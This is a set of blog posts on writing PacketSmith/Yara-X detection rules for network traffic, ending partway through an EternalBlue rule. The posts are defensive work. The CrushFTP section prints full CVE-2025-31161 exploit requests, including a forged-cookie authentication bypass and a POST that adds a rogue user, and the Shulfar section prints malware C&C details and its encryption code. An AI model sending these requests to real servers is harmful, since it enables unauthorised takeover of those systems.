The PacketSmith Yara-X detection module introduced new (reserved) keywords to the meta section of the Yara-X rule called track_state and flow_state with their own syntax and grammar, to track/chain multiple rules at the same time across different packets/streams, or flows, respectively. They are used for cross-correlating different rules across different packets and streams or flows (depending on the filter type used) at runtime. This feature was inspired by the concept of flowbits in Snort/Suricata, with different implementation details.

Vulnerability Details

The vulnerability CVE-2025-31161 is an authentication-bypass vulnerability that can be exploited by constructing a specially crafted GET request containing a known username (no password is required). The username "crushadmin" is used as the default during setup.

I've made the pcap available for download via Netomize's official repo (RFiles), CrushFTP (CVE-2025-31161) packet capture (26,075 bytes).

To exploit the vulnerability, a request similar to the following is sent to the vulnerable CrushFTP server (in this case, it was sent against the vulnerable version 11.2.1 Build: 22):

GET /WebInterface/function/ HTTP/1.1
Host: 192.168.60.129:9090
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Cookie: currentAuth=31If; CrushAuth=1744110584619_p38s3LvsGAfk4GvVu0vWtsEQEv31If
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/

Figure-1: CrushFTP Authentication Bypass Request (GET)

The request shown above is just for authentication bypass and forcing the server to authenticate the forged session Cookie. The Authorization header authentication method is AWS4-HMAC-SHA256 (a required primitive), and the Credential is set to the username "crushadmin" (not containing a tilda), followed by /. Refer to references 2 and 3 for more info. Of course, you may leak some information from the server in the GET request, depending on the requested command type.

After authenticating the session Cookie with the authentication bypass vulnerability, we may proceed to perform elevated privileges on the CrushFTP server using the same Cookie. For example, we could send a POST request similar to the following to create/add a new user:

POST /WebInterface/function/ HTTP/1.1
Host: 192.168.60.129:9090
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Cookie: currentAuth=31If; CrushAuth=1744110584619_p38s3LvsGAfk4GvVu0vWtsEQEv31If
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
Content-Length: 1084
Content-Type: application/x-www-form-urlencoded

command=setUserItem&data_action=replace&serverGroup=MainUsers&username=rogueuser&user=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3Cuser+type%3D%22properties%22%3E%3Cuser_name%3Erogueuser%3C%2Fuser_name%3E%3Cpassword%3Eroguepass%3C%2Fpassword%3E%3Cextra_vfs+type%3D%22vector%22%3E%3C%2Fextra_vfs%3E%3Cversion%3E1.0%3C%2Fversion%3E%3Croot_dir%3E%2F%3C%2Froot_dir%3E%3CuserVersion%3E6%3C%2FuserVersion%3E%3Cmax_logins%3E0%3C%2Fmax_logins%3E%3Csite%3E%28SITE_PASS%29%28SITE_DOT%29%28SITE_EMAILPASSWORD%29%28CONNECT%29%3C%2Fsite%3E%3Ccreated_by_username%3Ecrushadmin%3C%2Fcreated_by_username%3E%3Ccreated_by_email%3E%3C%2Fcreated_by_email%3E%3Ccreated_time%3E1744120753370%3C%2Fcreated_time%3E%3Cpassword_history%3E%3C%2Fpassword_history%3E%3C%2Fuser%3E&xmlItem=user&vfs_items=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3Cvfs+type%3D%22vector%22%3E%3C%2Fvfs%3E&permissions=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3CVFS+type%3D%22properties%22%3E%3Citem+name%3D%22%2F%22%3E%28read%29%28view%29%28resume%29%3C%2Fitem%3E%3C%2FVFS%3E&c2f=31If

Figure-2: CrushFTP Remote Command Execution Request (POST)

And, in case the above request was successfully processed by the CrushFTP HTTP Server, the server responds with the <response_status> XML element set to OK in the <result> root element:

HTTP/1.1 200 OK
Cache-Control: no-store
Pragma: no-cache
Content-Type: text/xml;charset=utf-8
Date: Tue, 12 May 2026 17:28:57 GMT
Server: CrushFTP HTTP Server
P3P: policyref="/WebInterface/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Connection: close
Content-Length: 163

<?xml version="1.0" encoding="UTF-8"?> 
<result><response_status>OK</response_status><response_type>text</response_type><response_data></response_data></result>

Figure-3: CrushFTP Server Response - Command Execution Status

Detection Engineering

At Netomize, we strive to write generic detection logic to capture known and unknown variants of potentially valid exploitation and malicious traffic, and this case is no different.

To detect the authentication bypass request, as shown in Figure 1, a PacketSmith Yara detection rule could be written as follows:

rule crushftp_auth_bypass_vulnerability_get_req_cve_2025_31161
{
    meta:
	
      description = "Detect authentication bypass request in CrushFTP server (CVE-2025-31161)"
	  reference   = "https://outpost24.com/blog/crushftp-auth-bypass-vulnerability/"
      filter      = "Frames (frames:)"
      author      = "Netomize"
      date        = "13/05/2026"
	  track_state = "set,crushftp_auth_bypass,noalert"

	strings:
	
		$uri               = "GET /WebInterface/function/"
		
		$cookie_curr_auth  = /\nCookie:[^\r\n]{0,256}currentAuth=\w{4}[;\r\n]/i
		$cookie_crush_auth = /\nCookie:[^\r\n]{0,256}CrushAuth=\w{31}/i
		$authorization     = /\nAuthorization:[^\r\n]{0,12}AWS4-HMAC-SHA256 [^\r\n=\/]{1,64}=[^~\r\n\/]{1,255}\//i
	
    condition:

	  tcp.is_set
	  and 
	  tcp.data.size > 156
	  and 
	  flow.to_server
	  and
      with buf_off = tcp.data.offset, buf_sz = tcp.data.size:
	  	(
			$uri at buf_off
			and
			$cookie_curr_auth  in (buf_off + 36..buf_off + 36 + buf_sz)
			and
			$cookie_crush_auth in (buf_off + 36..buf_off + 36 + buf_sz)
			and
			$authorization     in (buf_off + 36..buf_off + 36 + buf_sz)
	  	)
}

Rule-1: GET Request (Figure 1)

We verify the currentAuth and CrushAuth cookie keys to ensure they contain alphanumeric values of valid lengths, in any order. To exploit the vulnerability, the Authorization header must be of the AWS4-HMAC-SHA256 type, followed by the = character and the known username, ensuring it doesn't include a ~ character and is followed by a /. Our tests indicate that the key before the = can be anything, and any characters may follow the /.

Notice in the meta section, we use the reserved keyword track_state, introduced in version 5.3.0, to chain multiple rules across different packets in the pcap. For this request, we are setting the state "crushftp_auth_bypass" to noalert.

To detect the POST request in Figure 2, we could write a rule similar to the following:

rule crushftp_rce_vulnerability_post_req_cve_2025_31161
{
    meta:
	
      description = "Detect rce POST request in CrushFTP server (CVE-2025-31161)"
	  reference   = "https://outpost24.com/blog/crushftp-auth-bypass-vulnerability/"
      filter      = "Frames (frames:)"
      author      = "Netomize"
      date        = "13/05/2026"
	  track_state = "isset,crushftp_auth_bypass,alert"
	  flow_state  = "set,crushftp_post_forged_cookie,noalert"

	strings:
	
		$uri               = "POST /WebInterface/function/"
		
		$cookie_curr_auth  = /\nCookie:[^\r\n]{0,192}currentAuth=\w{4}[;\r\n]/i
		$cookie_crush_auth = /\nCookie:[^\r\n]{0,192}CrushAuth=\w{31}/i
		$authorization     = /\nAuthorization:[^\r\n]{0,12}AWS4-HMAC-SHA256 [^\r\n=\/]{1,64}=[^~\r\n\/]{1,255}\//i
	
    condition:

	  tcp.is_set
	  and 
	  tcp.data.size > 156
	  and 
	  flow.to_server
	  and		
      with buf_off = tcp.data.offset, buf_sz = tcp.data.size:
	  	(
			$uri at buf_off
			and
			$cookie_curr_auth  in (buf_off + 36..buf_off + 36 + buf_sz)
			and
			$cookie_crush_auth in (buf_off + 36..buf_off + 36 + buf_sz)
			and
			$authorization     in (buf_off + 36..buf_off + 36 + buf_sz)
	  	)
}

Rule-2: POST Request (Figure 2)

The only difference between this rule and the rule for the GET request is the HTTP method, POST. The track_state in this rule checks whether the state "crushftp_auth_bypass" is set/armed, and if so, alerts on the matching packet of this rule. The reason for linking the POST request to the GET request, and vice versa, depending on how you interpret the order of the requests, is that we want to check for attempted remote code execution and not just the authentication bypass request alone.

To detect the server response in Figure 3, you could write a rule similar to the following:

rule crushftp_successful_rce_exploitation_response_2025_31161
{
    meta:
	
      description = "Detect successful exploitation response from the CrushFTP server (CVE-2025-31161)"
	  reference   = "https://outpost24.com/blog/crushftp-auth-bypass-vulnerability/"
      filter      = "Frames (frames:)"
      author      = "Netomize"
      date        = "13/05/2026"
	  flow_state  = "isset,crushftp_post_forged_cookie,alert"

	strings:
	
		$http_server      = /\nServer: CrushFTP HTTP Server/i
		$response_status  = "<response_status>OK</response_status>"
	
    condition:

	  tcp.is_set
	  and 
	  tcp.data.size > 148
	  and 
	  flow.to_client
	  and		
      with buf_off = tcp.data.offset, buf_sz = tcp.data.size:
	  	(
			$http_server in (buf_off..buf_off + buf_sz)
			and
			$response_status in (buf_off + 64..buf_off + 64 + buf_sz)
	  	)
}

Rule-3: Server Response (Figure 3)

The rule checks for the header Server: CrushFTP HTTP Server in the server response, and the XML message <response_status>OK</response_status> in the response payload, indicating successful execution of the command shown in Figure 2 (POST request).

If you want to confirm that the POST request in Figure 2 was carried out successfully, we use the reserved keyword flow_state introduced in version 5.4.0 to tie it to the server response (and vice versa). In doing so, we ensure that the exploitation was successful.

This is evident in the setting of the flow state "crushftp_post_forged_cookie" to noalert in Rule 2, and checking whether it is set in Rule 3, and if so, then and only then, alert on the matching packet against the server response. We use the flow_state keyword and not the track_state, because Figure 2 and Figure 3 traffic have to belong to the same flow/stream.

Running the above Yara-X rule through the linked pcap via PacketSmith and saving the result as JSON, we get the file yara_dte_2026_05_14_10_34_39.json with all the detections:

PacketSmith.exe -i <infile_pcap> -D yara:console_json -F frames: -O .

*** [ Raw Frames ] ***

id    proto      ip.src:port             ip.dst:port             size    entropy    total    rules
--    -----      -----------             -----------             ----    -------    -----    -----
25    IP4-TCP    192.168.60.128:43476    192.168.60.129:9090     447     5.96954    1        crushftp_rce_vulnerability_post_req_cve_2025_31161(4)
30    IP4-TCP    192.168.60.129:9090     192.168.60.128:43476    534     5.84315    1        crushftp_successful_rce_exploitation_response_cve_2025_31161(2)

Conclusion

In this article, we have shown how to detect various stages of the exploitation chain of the vulnerability CVE-2025-31161 using PacketSmith's Yara detection module. Moreover, we have introduced and demonstrated how to use the new keywords flow_state and track_state to correlate multiple detection rules across different packets and flows/streams, enhancing the ability to detect and mitigate such vulnerabilities.

References

1. Outpost24: CrushFTP auth bypass vulnerability: Disclosure mess leads to attacks

2. SonicWall: Critical CrushFTP Authentication Bypass (CVE-2025-31161) Exposes Servers to Remote Attacks)

3. AttackerKB-Rapid7: CVE-2025-2825

4. Huntress: CrushFTP CVE-2025-31161 Auth Bypass and Post-Exploitation

5. Immersive-Labs GitHub: CVE-2025-31161 PoC

6. Netomize GitHub RFiles Repo: CVE-2025-31161 PCAP + Yara Rules

Author: Mohamad Mokbel

First release: May 14, 2026

Splunk published a blog post about a variant of the Gh0stRat malware family used in a new campaign delivered alongside the CloverPlus adware. The blog post is titled "Not Just Annoying Ads: Adware Bundles Delivering Gh0st RAT", dated April 17, 2026. Although Splunk detects the RAT as a variant of the Gh0stRat family, Netomize refutes linking this variant to the Gh0stRat family due to major differences in code structure, C&C communication protocols, and functionality. Instead, we refer to it as "Shulfar," the reverse of the DLL Export name "RAFlush".

The malware utilizes two communication channels: one via the HTTP protocol and the other through a custom TCP packet payload. Notably, the custom TCP protocol employs a straightforward encryption algorithm, using XOR and addition with a one-byte key, to encrypt the TCP packet's payload.

The malware is a 32-bit DLL written in C. I've chosen it to showcase the "yara" detection module in PacketSmith, highlighting its ability to detect encrypted traffic without relying on a specific key.

The variant with the following information (in the table shown below) matches the "Gh0stRat" variant referenced by the Splunk Threat Research Team. The sample is available on VT.

Table 1 - Malware Basic Properties

Please refer to our previous blog post, "Detect SnappyClient C&C Traffic Using PacketSmith + Yara-X Detection Module", for more information about how to use the PacketSmith "yara" detection module.

The malware is packed. This blog post primarily focuses on the custom TCP packet payload.

Shulfar communicates with the C&C server 107.163.56.251 over TCP/6658. It sends a packet similar to the following:

Figure 1 - Shulfar Encrypted Checkin Packet (TCP payload)

I've made the pcap available for download via Netomize's official repo (RFiles), Shulfar packet capture (4,678 bytes).

The packet includes system-specific information and some hardcoded values. Before being sent to the C&C server, it is encrypted with a fixed one-byte key, specifically 0x64. The decrypted packet corresponds to:

Figure 2 - Shulfar Decrypted Checkin Packet (TCP payload)

The structure of the packet in Figures 1 and 2 is as follows:

Table 1 - TCP Packet Structure

Note - 1: The packet has a fixed length of 296 bytes. If the data at offset 0xA0 is read from the "lang.ini" file and exceeds 128 bytes, the file's content will overflow into the rest of the packet's buffer.

The following high-level pseudocode snippet illustrates how the packet is constructed:

// function rva 0x10005753 (for the dumped DLL with fixed IAT)
int __cdecl collect_sys_info_checkin_pkt(packet_cinfo *pkt_data)
{
  int ram_size;
  LANGID SystemDefaultUILanguage;
  BYTE Data[260];
  CHAR server_addr_from_file[253];
  CHAR SubKey[48];
  _MEMORYSTATUSEX Buffer;
  DWORD Type;
  DWORD cbData;
  HKEY phkResult;

  qmemcpy(SubKey, aHardwareDescri, sizeof(SubKey));
  
  if ( RegOpenKeyExA(HKEY_LOCAL_MACHINE, SubKey, 0, KEY_ALL_ACCESS, &phkResult) )
  {
    j_strcpy(pkt_data, aFindCpuError);
  }
  else
  {
    Type = 4;
    cbData = 200;
    reg_query_value(phkResult, aProcessornames, 0, &Type, Data, &cbData);
    reg_close_key(phkResult);
    j_strcpy(pkt_data, Data);
  }
  
  // copy processor name
  copy_buffer_skip_leading_wspaces(pkt_data);
  get_os_version_info(pkt_data->os_ver_info);
  
  Buffer.dwLength = 64;
  GlobalMemoryStatusEx(&Buffer);
  ram_size = convert_to_mb(Buffer.ullTotalPhys, 20u);
  wvsprintfA_0(pkt_data->physical_mem, aUMb, (ram_size + 1));
  
  j_strcpy(pkt_data->identifier, a10151338);    // "10151338"
  
  SystemDefaultUILanguage = GetSystemDefaultUILanguage();
  server_addr_from_file[0] = 0;
  pkt_data->lang_id = SystemDefaultUILanguage;
  
  memset(&server_addr_from_file[1], 0, 252u);
  
  pkt_data->const_delimiter = 0xFFFFFFFF;

  if ( check_lang_ini_file(server_addr_from_file, 256u) )
  {
	  return j_strcpy(pkt_data->server_addr, server_addr_from_file);
  }
  else
  {	  
	// "http://107.163.56.250:18963/main.php"
    return wvsprintfA_0(pkt_data->server_addr, aS, aHttp1071635625);
  }
}

And the encryption algorithm pseudocode is:

int __cdecl encrypt_traffic(int data, int dsize, uint8_t key)
{
  int result;
  int i;
  char edata;

  result = key / 254;
  for ( i = 0; i < dsize; *result = edata )
  {
    result = i + data;
    edata = key % 254 + 1 + (*(i + data) ^ (key % 254 + 1));
    ++i;
  }
  return result;
}

The initial key provided to the encrypt_traffic function is 0x63, and the final derived key is 0x64. This means the key has to be between 1 and 254. Therefore, to decrypt the traffic, you subtract 0x64 from every byte and XOR it with the same key (0x64).

The server response is neither encrypted nor compressed; the malware anticipates receiving a fixed-size packet of 188 bytes (0xbc) for control commands from the server.

Detection Logic

With the packet structure documented and the encryption algorithm understood, we can use Yara-X operators to simulate the decryption process on the packet's payload, searching for fixed bytes at specific offsets and ranges. We look for " MB\x00" and "Win " among these fixed bytes. Additionally, we verify that the packet's payload size is set to 296. While we could include more atomic indicators in the detection logic, it's unnecessary. The two fixed content matches we check for at specific offsets and within a specific range are sufficient to prevent any potential false positives in their encrypted format.

We could derive a rule similar to the following:

rule shulfar_malware_encrypted_tcp_packet
{
    meta:

	  description = "Detecting Shulfar malware encrypted checkin TCP packet"
      filter      = "Frames (frames:)"
	  sha1        = "e46e6ea272ae628d15bfb7b71ff40e3950fd2e85"
	  reference   = "https://www.splunk.com/en_us/blog/security/detecting-ghost-rat-cloverplus-adware-loader-analysis.html"
	  author      = "Netomize"
	  date        = "04/24/2026"
        
    condition:

		tcp.is_set
		and
		math.in_range(port.src, 1024, 65535) // ephemeral ports
		and
		tcp.data.size == 296
		and
        for any key in (0..255) : 
		(
            for any pos in (tcp.data.offset + 64..tcp.data.offset + 96) : 
			(
                (
					// check for ' ' (0x20)
                    (((uint8(pos) - ((key % 254) + 1)) & 0xff) ^ ((key % 254) + 1))     == 0x20 
					and
                    // check for 'M' (0x4D)
                    (((uint8(pos + 1) - ((key % 254) + 1)) & 0xff) ^ ((key % 254) + 1)) == 0x4d 
					and                    
                    // check for 'B' (0x42) 
                    (((uint8(pos + 2) - ((key % 254) + 1)) & 0xff) ^ ((key % 254) + 1)) == 0x42
					and                    
                    // check for null byte (0x00)
                    (((uint8(pos + 3) - ((key % 254) + 1)) & 0xff) ^ ((key % 254) + 1)) == 0x00
                )
            )
			
			and
			
            for any pos in (tcp.data.offset + 96..tcp.data.offset + 128) : 
			(
                (
					// check for 'W' (0x57)
                    (((uint8(pos) - ((key % 254) + 1)) & 0xff) ^ ((key % 254) + 1))     == 0x57 
					and
                    // check for 'i' (0x69)
                    (((uint8(pos + 1) - ((key % 254) + 1)) & 0xff) ^ ((key % 254) + 1)) == 0x69 
					and                    
                    // check for 'n' (0x6e) 
                    (((uint8(pos + 2) - ((key % 254) + 1)) & 0xff) ^ ((key % 254) + 1)) == 0x6e 
					and                    
                    // check for ' ' byte (0x20)
                    (((uint8(pos + 3) - ((key % 254) + 1)) & 0xff) ^ ((key % 254) + 1)) == 0x20
                )
            )
        )
}

The detection rule ensures the ephemeral source port range and packet data size are enforced. To verify the fixed content matches " MB\x00" and "Win ", regardless of any specific encryption key, we iterate over all possible keys and establish two loops to check each content match at their respective offsets in the packet.

Conclusion

This article demonstrates the capabilities of the PacketSmith "yara" detection module in identifying encrypted traffic without relying on a specific key by simulating the decryption algorithm for all possible keys. Additionally, we have detailed the construction of Shulfar's custom C&C traffic over the TCP channel.

Author: Mohamad Mokbel

First release: April 24, 2026

Zscaler published a blog post about a new malware called SnappyClient, written in the C++ programming language. The malware communicates with its C&C server using a custom binary protocol. The traffic is encrypted with ChaCha20-Poly1305 using a key and nonce received from the server, which are exchanged and validated before any control commands are sent or received. I've selected this sample because the C&C traffic structure is almost unfilterable, even with a traditional IDS/IPS, without incurring a high rate of false positives or significant performance impact.

The variant with the following information (in the table shown below) matches the C&C traffic dissected by Zscaler threat research blog. The sample is available on VT.

VT's sandbox has a full capture of the C&C traffic, and I've made it available for download via Netomize's official repo (RFiles), SnappyClient Traffic VT (48.9 KB).

This blog post is about writing detection logic for the C&C traffic based on PacketSmith + Yara-X detection module, using custom pattern identifiers. For an in-depth analysis of how the malware works, please refer to the Zscaler blog post.

Once the malware successfully connects to the server, it receives a ChaCha20 key, a nonce, and a control session ID. Subsequently, SnappyClient sends an encrypted packet with the message header, followed by another packet containing the encrypted and compressed message. Our focus is on the structure of the second packet sent by the malware to the server, used for reporting back to the C&C server. This packet is transmitted via the TCP protocol over ports 3333/3334 to the C&C server at 151[.]242[.]122[.]227.

Figure 1 - SnappyClient Egress Cmd Packet

The structure of the packet in Figure 1 is as follows:

Detection Logic

With the packet structure documented, we can develop detection logic to avoid false positives. The packet lacks unique content for anchoring, except for the byte at offset 0x02, which can be 0x00 or 0x01. This is insufficient for quick pattern matching in real-time traffic. Additionally, the encrypted message begins at offset 0x03 and continues to the packet's end, minus the 16-byte output tag size if the flag at offset 0x02 is set.

Understanding these limitations and indicators, we can develop a Yara-X + PacketSmith detection rule utilizing custom PaIDs (Pattern Identifiers) such as tcp, ip, and flow, along with the advanced math tools and operations built into Yara-X.

We could derive a rule similar to the following:

import "math"

rule snappyclient_malware_encrypted_pkt 
{ 
  meta:

    description = "TCP encrypted and compressed packet (client->server)"
    reference   = "https://www.zscaler.com/blogs/security-research/technical-analysis-snappyclient"
    filter      = "Frames (frames:)"
    sha1        = "feb928a54be40ad4bbf245aaae6968f83b4937f5"
    author      = "Netomize"
    date        = "22/03/2026"	

condition:

   tcp.is_set and ip4.is_set and not ip4.in_ip6 
   and 
   tcp.data.size > 3
   and
   ip.dst.type == 1 // public
   and 
   flow.to_server   // direction
   and 
   math.in_range(port.src, 1024, 65535) // ephemeral ports
   and		
   with buf_size = uint16(tcp.data.offset), buf_offset = tcp.data.offset:
  	(
  		buf_size == (tcp.data.size - 3)
  		and
		( uint8(buf_offset + 2) == 0x00 or uint8(buf_offset + 2) == 0x01 )
		and
		math.entropy(buf_offset + 2, buf_size) >= 4
		and
		math.count(0x00, buf_offset + 2, buf_size) < 8
  	)
}

The rule checks for the following atomic indicators

• First, we check that we're dealing with a TCP packet over IPv4 using the tcp.is_set and ip4.is_set PaIDs, respectively, while ensuring that this is not an encapsulated IPv4 in IPv6 packet (not ip4.in_ip6)

• The minimum size of the TCP payload is 3 bytes (tcp.data.size > 3)

• PacketSmith ip PaID can infer the type of the IP address using enum values (PUBLIC = 1, UNSPECIFIED = 2, PRIVATE = 3, CGNAT = 4, LOOPBACK = 5, LINK_LOCAL = 6, IETF_ASSIGNMENTS = 7, DOCUMENTATION = 8 and RELAY = 9, among others)

  • The destination IP address is public (ip.dst.type == 1)

• The directionality of the packet is to the server (flow.to_server)

• Using the "math" module in_range function, we check the range of the ephemeral source port such that it is between 1024 and 65535 (math.in_range(port.src, 1024, 65535))

• We use the with statement to alias the TCP packet payload offset and size

  • with buf_size = uint16(tcp.data.offset), buf_offset = tcp.data.offset:

• The uint16 value at offset 0x00 in the TCP payload is equal to the payload's size, minus the first 3 bytes (the header)

  • buf_size == (tcp.data.size - 3)

• The byte at offset 0x02 could be either 0x00 or 0x01

  • ( uint8(buf_offset + 2) == 0x00 or uint8(buf_offset + 2) == 0x01 )

• Since the data is encrypted and compressed, the entropy of the data has to be >= 4

  • math.entropy(buf_offset + 2, buf_size) >= 4

  • You can safely increase the value if you want to check for large encrypted messages

• Finally, using the "math" module and the function count(), we check the encrypted data in the packet for all occurrences of the byte 0x00 such that it is < 8

  • math.count(0x00, buf_offset + 2, buf_size) < 8

Running the above Yara-X rule through the linked pcap via PacketSmith and saving the result as XML, we get the file yara_dte_2026_03_23_17_11_08.xml (use MS Excel to view it) with all the detections:

PacketSmith.exe -i <infile_pcap> -D yara:xml -F frames: -O .

To check for potential false positives, we applied the detection rule to two large pcaps from our collection (511MB and 136MB) and found zero hits.

Conclusion

The PacketSmith + Yara‑X approach demonstrates that even highly obfuscated, ChaCha20‑Poly1305‑encrypted C&C channels like SnappyClient can be detected reliably without deep payload inspection. By focusing on protocol-level fingerprints — the packet header, fixed-length framing, and the byte distribution—the detection module achieves a useful signal with potentially zero false positives and modest performance cost.

Author: Mohamad Mokbel

First release: March 23, 2026

The other day, I was reading this interesting article Abusing .arpa: The TLD That Isn’t Supposed to Host Anything by Infoblox threat intel team, published on February 26, 2026. What got my attention is the clever abuse of the .arpa TLD (Address and Routing Parameter Area) for phishing purposes, and in particular, the querying of the IPv6 reverse DNS zone ip6.arpa for an A record instead of being legitimately used for reverse DNS lookup using the PTR record, which translates IP addresses back to domain names. According to IANA, the domain ip6.arpa is used for "mapping IPv6 addresses to Internet domain names", that's mapping nibble-reversed IPv6 addresses back to hostnames.

I'm not aware of any prior documentation of such clever usage of the .arpa TLD to evade detection. The article is worth taking the time to read in full.

For example, sending an A DNS type query to the domain c.5.2.1.6.3.0.0.0.7.4.0.1.0.0.2.ip6.arpa, the server returns a routable C2 A record, 157[.]245[.]92[.]156 as shown in the figure below.

For the server to return a routable A record, the requested reverse DNS has to be under the threat actor's control, which is registered as a domain name, since this is not a legitimate/valid use of the ip6.arpa domain.

After reading the article, I asked myself how to write a domain-independent generalized detection logic against this abuse of the ip6.arpa domain.

Detection Logic Using PacketSmith + Yara-X Detection Module

In this section, we'll write a custom and generic Yara-X rule that uses PacketSmith's custom pattern identifier dns to detect this abuse of the ip6.arpa domain, with zero probability of any false positives.

Please refer to the sneak peek article Yara-X + PacketSmith Detection Module, for more information about the dns custom pattern identifier and the Yara-X detection module.

For reference, a pcap arpa_ip6_reverse_dns_a_record.pcap with this behaviour is available for download from Netomize's GitHub repository.

The detection logic is simple and requires checking for a few indicators in the DNS response packet, ensuring that the requested reverse DNS returns an A record. The main detection logic consists of the following atomic indicators:

• The requested reverse DNS ends with ip6.arpa

• Query/Answer type is A (1), and class is IN (1)

• Answer RR TTL is low for fast-flux DNS (optional)

  • In the case of c.5.2.1.6.3.0.0.0.7.4.0.1.0.0.2.ip6.arpa, the server returns an TTL of 5, which is very low for legitimate traffic

• Answer RR data length is 4 to make sure that the server returned a value, that's an A record

• Other indicators are documented in the rule

The rule could be written as follows:

rule ip6_arpa_tld_dns_rsp_pkt_malicious 
{ 
  meta:

   description = "Detect malicious .ip6.arpa TLD DNS response pkts"
   reference   = "https://www.infoblox.com/blog/threat-intelligence/abusing-arpa-the-tld-that-isnt-supposed-to-host-anything/"
   filter      = "Frames (frames:)"
   author      = "Netomize"
   date        = "17/03/2026"	  

condition:
	
  dns.is_set and not dns.over_tcp and dns.flag.response 
  and 
  dns.flag.opcode   == 0 
  and
  dns.count.queries == 1
  and
  dns.count.ansr_rr == 1
  and
  dns.qry[0].type   == 1  // A
  and
  dns.qry[0].class  == 1 // IN
  and
  dns.qry[0].name.labels.total > 2
  and	  
  // example: c.5.2.1.6.3.0.0.0.7.4.0.1.0.0.2.ip6.arpa
  dns.qry[0].name.qname endswith ".ip6.arpa"
  
  and
  
  dns.ansr_rr[0].type  == 1  // A
  and
  dns.ansr_rr[0].class == 1  // IN
  and
  dns.ansr_rr[0].rdata.size == 4	  
}

Similar detection logic could be applied to the in-addr.arpa reverse DNS zone.

Running the above Yara-X rule through the linked pcap via PacketSmith and saving the result as JSON, we get the file yara_dte_2026_03_17_11_46_06.json with all the detections:

PacketSmith.exe -i arpa_ip6_reverse_dns_a_record.pcap -D yara:console_json -F frames: -O .

Conclusion

This article documents the misuse of the .arpa TLD, specifically the ip6.arpa reverse DNS zone, as seen in the wild, for phishing purposes, and demonstrates how to write a generic Yara-X rule using PacketSmith's custom pattern identifier dns to detect malicious use of the ip6.arpa reverse DNS zone.

Author: Mohamad Mokbel

First release: March 17, 2026

In version 5.1.0 (codenamed Taxus), released on March 16, 2026, the injection engine has undergone a significant evolution, transitioning from basic command-line parameters to a robust, template-driven architecture. Injections are now orchestrated via external JSON objects, enabling highly customizable repeatable traffic generation.

Before version 5.1.0, PacketSmith already supported injecting DNS query and response packets, VLAN encapsulation layer, and TCP handshake packets, and in the latest release, v5.1.0, we've added support for injecting VXLAN-GBP (Virtual Extensible LAN) encapsulation layer, encapsulating the entire (original) frame over UDP. The VXLAN outer layers consist of an Ethernet layer, IPv4 or IPv6 layer, and a UDP layer that carries the VXLAN header and the encapsulated frame. All of the outer layers’ attributes are customizable via the JSON object “vxlan”, including every flag in the GBP extension and the rest of the fields. Furthermore, PacketSmith can dynamically calculate the outer UDP source port based on the inner 5-tuple. Users can choose from several industry-standard hashing algorithms, including Jenkins, Toeplitz, CRC16, CRC32, and XOR.

VXLAN-GBP Encapsulation Using PacketSmith

To encapsulate all the original frames in a pcap with a VXLAN-GBP (Virtual Extensible LAN) encapsulation layer, refer to the file "inject_templates\inj_tpl.json" that resides in the same directory as the PacketSmith executable. The relevant configuration is defined within the vxlan object, located under the inject → layers path in the JSON schema (the 't' notation indicates the required data type for each corresponding key) :

{
    // encapsulate the original frame inside a VXLAN layer
    "name": "vxlan",

	"outer_layers":
	{
		"ethernet":
		{
			// t:str
			"src_mac": "00:0c:29:e3:c6:4d",
			// t:str
			"dst_mac" : "00:0c:29:da:d1:de",
			// t:str
			"eth_type": "ipv4" // "ipv4" or "ipv6" 
		},
		
		"ipv4":
		{
			// t:str
			"src_ip": "192.168.0.1",
			// t:str
			"dst_ip": "192.168.0.2",
			// t:int
			"ttl": 64
		},
		
		"ipv6":
		{
			// t:str
			"src_ip": "2001:0db8:85a3:0000:0000:8a2e:0370:7334",
			// t:str
			"dst_ip": "2001:db8::ff00:42:8329",
			// t:int
			"hop_limit": 64
		},
		
		"udp":
		{
			// t:int
			"src_port": 1234,
			// t:str - hash functions: "jenkins", "toeplitz", "crc16", "crc32", "xor", "none"
			// if "none", then the source port is set to the static port in "src_port"
			"src_port_hash": "toeplitz",
			// t:int
			"dst_port": 4789 
		}
	},
	
	"flags":
	{
		// t:bool
		"gbp_extension": false,
		// t:bool
		"vni": true,
		// t:bool
		"dont_learn": false,
		// t:bool
		"policy_applied": false,
		// t:int
		"reserved": 0
	},
	
	// t:int
	"group_policy_id": 48,
	// t:int
	"vni": 6969,
	// t:int
	"reserved": 0
}

All the JSON key values are mutable, providing granular control over all outer-layer parameters. This includes exhaustive support for the GBP extension flags, ensuring every field can be customized to meet specific network requirements.

Let's take the following TCP packet as an example:

To VXLAN-GBP encapsulate it, we use the following command line options:

PacketSmith.exe --infile <input_pcap> --outfile <output_pcap> --inject layer:vxlan --checksum

Using the above JSON object, we get the following output:

Conclusion

In summary, we have shown how to wrap original PCAP frames with a VXLAN-GBP layer. The shift to a JSON-driven injection engine enables users to define complex tunnelling parameters in a structured format, thereby facilitating consistent, scalable network simulations.

Author: Mohamad Mokbel

First release: March 16, 2026

On February 05, 2026, we released version 5 of PacketSmith, featuring a new detection module that seamlessly integrates Yara-X with most of the protocols supported by PacketSmith. To demonstrate the capabilities of these new features, we published a sneak-peek article focusing on the detection of DNS tunnelling in Denis’s Backdoor. In the accompanying documentation, we provide more sophisticated and non-trivial examples that showcase the powerful interplay between PacketSmith and Yara-X's native pattern matching capabilities. For instance, we explain how to detect attempted exploitation of CVE-2024-38063, which involves checking the IPv6 extensions.

In this article, we provide another example, showcasing how to detect the famous EternalBlue exploitation vector (CVE-2017-0144).

Detection Logic

A custom Yara-X rule that uses the pattern identifiers (objects) tcp, flow and port, could be derived similar to the following to detect the anomalous part where the Data Displacement word value is greater than the word value of the field Total Data Count.

rule smb_memory_corruption_vuln_cve_2017_0144_v3
{
    meta:
	
	  description = "CVE-2017-0144"
	  tags        = "shadowbroker, eternalblue"
      filter      = "Frames (frames:)"
	  reference   = "https://nvd.nist.gov/vuln/detail/cve-2017-0144"
	  author      = "Netomize"
	  date        = "12/02/2026"
	
    strings:
	
	  // SMB Command: Trans2 Secondary (0x33)
